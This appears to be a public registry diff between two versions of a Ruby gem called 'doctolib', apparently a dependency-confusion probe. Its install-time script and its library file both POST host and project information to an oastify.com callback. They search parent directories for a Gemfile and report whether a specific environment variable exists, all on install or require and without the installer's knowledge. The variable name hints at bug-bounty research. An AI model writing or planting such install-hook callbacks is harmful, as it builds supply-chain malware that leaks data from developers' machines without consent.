doctolib 99.0.2 → 99.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 450c1b6b8c3be533b171a5250456fab5a8a87f37eb6fb221c2f744872ecdf0df
4
- data.tar.gz: 2c2f08bbc998a6166ca00cde73f28919684fbe6bafbebf5969d9b04fa08d32ce
3
+ metadata.gz: 32defcd69c36724a86940d4ee0c8f13f9c78ed6bbc4bd45e06340179e1454388
4
+ data.tar.gz: 11fc7b0c526f1321770e22a799b9db0bbc574a60f12ee35ff796f4bd2d01c234
5
5
  SHA512:
6
- metadata.gz: b8469d12ae653fb336ef89b96029f0320b20499652d59d5bd9264a63dd9b79f197d5a6eff4100fad24dc2b5e37e09bb1cc657dbddf13208d88fb654083250576
7
- data.tar.gz: ae298c2366bf3537e22691c8dca7090de83189585b3ac677b8e9c1f18d37ff8b3484d29ed7b1aab150f102fb6750f254153568ce158f3698cb80332d6af25bc8
6
+ metadata.gz: ed62decd7a2e2b4133f2b95aaeeda64f801ed106ecaabf017c135a11081d257eaac24f67b9797a4f28e7d934903318b4bf4af7c26e96dbb2006667b453bf8290
7
+ data.tar.gz: 73e775067b093a605a65287d8dc79b2cbf7c9660d9aed2af329ebccf6a04ebf1ffe8fb0ecb55b61f2e5e20c395998e1c3d5b8c63ddea74335363bbb40b6c468a
@@ -2,6 +2,7 @@ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
5
+ require 'time'
5
6
 
6
7
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
7
8
 
@@ -18,7 +19,6 @@ begin
18
19
  timestamp: Time.now.utc.iso8601
19
20
  }
20
21
 
21
- # Trouver le projet parent (Gemfile)
22
22
  dir = Dir.pwd
23
23
  10.times do
24
24
  gemfile = File.join(dir, 'Gemfile')
@@ -33,7 +33,6 @@ begin
33
33
  dir = parent
34
34
  end
35
35
 
36
- # Callback HTTP (pas HTTPS)
37
36
  uri = URI("http://#{CALLBACK}/gem_install")
38
37
  http = Net::HTTP.new(uri.host, uri.port)
39
38
  http.open_timeout = 5
@@ -44,7 +43,7 @@ begin
44
43
  request.body = info.to_json
45
44
 
46
45
  http.request(request)
47
- rescue => e
46
+ rescue
48
47
  end
49
48
 
50
49
  File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb CHANGED
@@ -2,9 +2,10 @@ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
5
+ require 'time'
5
6
 
6
7
  module Doctolib
7
- VERSION = '99.0.2'
8
+ VERSION = '99.0.3'
8
9
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
9
10
 
10
11
  unless defined?(@@triggered)
@@ -27,7 +28,6 @@ module Doctolib
27
28
  webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
28
29
  info[:webhook_found] = !webhook.nil?
29
30
 
30
- # HTTP pas HTTPS
31
31
  uri = URI("http://#{CALLBACK}/gem_require")
32
32
  http = Net::HTTP.new(uri.host, uri.port)
33
33
  http.open_timeout = 5
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: doctolib
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.0.2
4
+ version: 99.0.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - icare